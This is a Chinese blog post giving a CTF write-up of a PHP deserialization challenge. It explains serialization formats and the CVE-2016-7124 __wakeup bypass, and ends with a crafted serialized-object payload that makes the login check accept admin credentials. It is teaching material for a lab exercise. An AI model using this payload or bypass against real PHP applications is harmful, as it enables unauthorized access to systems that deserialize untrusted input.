美文网首页
PHP反序列化的一道题

PHP反序列化的一道题

作者: Leena_c9a7 | 来源:发表于2020-01-28 20:48 被阅读0次

0x00 BUUCTF [极客大挑战2019] WEB PHP

0x01 题目

页面提示有备份网站的习惯,www.zip下载成功
查看class.php发现这样一段代码

class代码.png

0x02 魔术方法

分析以上代码可知我们需要让username=admin password=100,但是直接post这两个变量是不可取的,因为我们可以看到,在__destruct()之前有这样一个函数__wakeup()这些函数在官方被称作魔术方法。

魔术方法.png
对于_wakeup()和_sleep()函数,官方文档给出的解释是这样的:
两个函数.png
则通过以上的描述,我们可以理解为unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup方法,同样的,serialize()会检查类中是否存在__sleep() 方法,如果存在,该方法会先被调用再执行序列化操作。也就是说我们需要绕过__wakeup魔法函数去执行__destruct()函数,不然都会先执行_wakeup()把username改成guest。

0x03 序列化与反序列化

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()
序列化字符串、数组、数字举例:

<?php
$test1 = "hello world";
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); //  s:11:"hello world";  序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
echo serialize($test3); //  i:123456;  
?>

序列化对象举例:

<?php
class hello{
    public $test4 = "hello,world";
}
$test = new hello();
echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化对象  首字母代表参数类型 O->Objext S->String...
?>

而且!序列化public private protect参数会产生不同结果,举例如下:

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

对于序列化后各部分含义,找到了这张图用来参考:


图片描述

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

0x04 __wakeup()魔术方法绕过(CVE-2016-7124)

漏洞影响版本

PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值>真实的属性个数时会跳过__wakeup的执行。

0x05 回到题目

根据以上的介绍我们来分析这个题目,我们需要绕过_wakeup()函数使其直接进到_destruct(),然后进行构造。绕过方法就是让对象属性的个数大于真实个数,用以下代码进行构造:

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
$s = serialize($a);
echo $s;
?>

结果为:


图片.png

所以payload是:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

相关文章

网友评论

      本文标题:PHP反序列化的一道题

      本文链接:https://www.haomeiwen.com/subject/vglmthtx.html